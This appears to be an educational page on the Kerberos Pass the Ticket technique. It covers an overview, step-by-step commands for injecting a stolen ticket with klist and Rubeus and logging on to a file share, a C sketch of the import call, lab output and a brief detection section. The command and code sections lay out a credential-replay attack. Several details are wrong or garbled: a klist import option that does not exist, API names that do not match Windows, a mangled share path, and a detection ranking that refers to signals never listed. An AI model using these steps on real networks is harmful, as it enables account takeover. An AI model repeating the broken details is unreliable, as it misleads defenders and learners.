Pass the Ticket
Overview
Pass the Ticket (PtT) is a lateral-movement technique in which a captured Kerberos ticket - a TGT or a service TGS - is injected into the local credential cache and then presented to a service to authenticate as the ticket’s owner. The service validates the ticket’s signature, not a password, so the attacker never needs the account’s password or its NT hash. The technique works with a full TGT (which can request any service ticket) or with a single TGS (which grants access to one specific service only).
PtT is a natural follow-on to an LSASS dump
because live tickets sit in lsass.exe memory. A TGT stolen this way is cryptographically
valid until it expires, and every host that trusts the same key distribution center will
accept it. The validity window - not the ticket bytes - is what the defender has to track.
PtT is not the same as a golden ticket. A
golden ticket is forged with the krbtgt key and can be made to never expire. A PtT ticket
is a genuine ticket with a real issue and expiry time, which is both its strength (it looks
normal) and its tell (its lifetime is bounded and its issue time is logged).
The call chain
- 1Load the captured ticketRead the stolen TGT or TGS from a .kirbi file or a .ccache; no password is involved.
- 2KerbImportCredentialsEx / kimportInject the ticket into the local credential cache for the current session.
- 3Present or request the service ticketIf only a TGT is held, issue a TGS-REQ; if a TGS is held, present it directly.
- 4Authenticate to the target serviceComplete an SMB, WinRM or RDP logon with the ticket - no password, no NTLM.
Reference implementation
The practical flow is a ticket import followed by a normal service logon. On Windows the import
is done with klist or Rubeus; on Linux and macOS the
equivalent is kimport / kinit against the session’s .ccache.
# 1. inject the captured ticket into the current session cache # (a .kirbi was exported from the victim, e.g. via Rubeus /ticket) klist.exe /import:target.kirbi # 2. confirm the ticket is now present klist.exe /get # 3. authenticate to a service with the ticket, no password net use \\fileservershares$ /user:CORP\svc-backup rubeus.exe ptt /ticket:target.kirbi /user:svc-backup
# 1. inject the captured ticket into the current session cache
# (a .kirbi was exported from the victim, e.g. via Rubeus /ticket)
klist.exe /import:target.kirbi
# 2. confirm the ticket is now present
klist.exe /get
# 3. authenticate to a service with the ticket, no password
net use \\fileservershares$ /user:CORP\svc-backup
rubeus.exe ptt /ticket:target.kirbi /user:svc-backupC-level sketch
At the API level the import is a single call. Building the auth context and presenting the ticket to the service is omitted here.
// 1. read the captured ticket bytes from a .kirbi file PBYTE ticket; DWORD len; // ... file read omitted ... // 2. import into the current user's cache <-- the step that leaves the cache artifact DWORD err = KerbImportCredentialsEx( ticket, len, KerbTicketOptionAll, NULL, // S4U proxy (none) L"CORP\\svc-backup", // user principal name 0, NULL, NULL, NULL); // err == ERROR_SUCCESS on import; the ticket now lives in LsaCacheCredentials // 3. present it: AcquireCredentialsHandle / GSS_C_KRB5_CRED, then feed the // credential handle to the service's accept step. The service verifies // the TGS signature against its own key - no password is ever compared. // <-- omitted for brevity
// 1. read the captured ticket bytes from a .kirbi file
PBYTE ticket; DWORD len; // ... file read omitted ...
// 2. import into the current user's cache <-- the step that leaves the cache artifact
DWORD err = KerbImportCredentialsEx(
ticket, len, KerbTicketOptionAll,
NULL, // S4U proxy (none)
L"CORP\\svc-backup", // user principal name
0, NULL, NULL, NULL);
// err == ERROR_SUCCESS on import; the ticket now lives in LsaCacheCredentials
// 3. present it: AcquireCredentialsHandle / GSS_C_KRB5_CRED, then feed the
// credential handle to the service's accept step. The service verifies
// the TGS signature against its own key - no password is ever compared.
// <-- omitted for brevityklist /import writes the ticket into the per-user cache and keeps it for the life of the
logon session. Anyone with the same user context - or a later
dump - can re-read it.
Verifying in the lab
After the import, klist /get shows the replayed ticket. The tell is in the timestamps: the
ticket’s start time is when it was first issued on the victim, not when the current session
began.
> klist /get
Current user: CORP\svc-backup
Start Time End Time Service Name
------------ -------- ----------
07/14/2026 09:02 07/14/2026 21:02 krbtgt/CORP
^ TGT start time predates this logon session <-- the artifact> klist /get
Current user: CORP\svc-backup
Start Time End Time Service Name
------------ -------- ----------
07/14/2026 09:02 07/14/2026 21:02 krbtgt/CORP
^ TGT start time predates this logon session <-- the artifactDetection
The most useful single signal is a Kerberos authentication on a host for which the account never performed an interactive logon. The ticket arrived by import, not by password.
Rank them: the 4769 / 4624 correlation is the cheapest continuous control and catches most tooling that imports a TGT. The behavioural replay check is higher fidelity but requires correlating across hosts. The cache start-time check only runs during triage, on a captured session.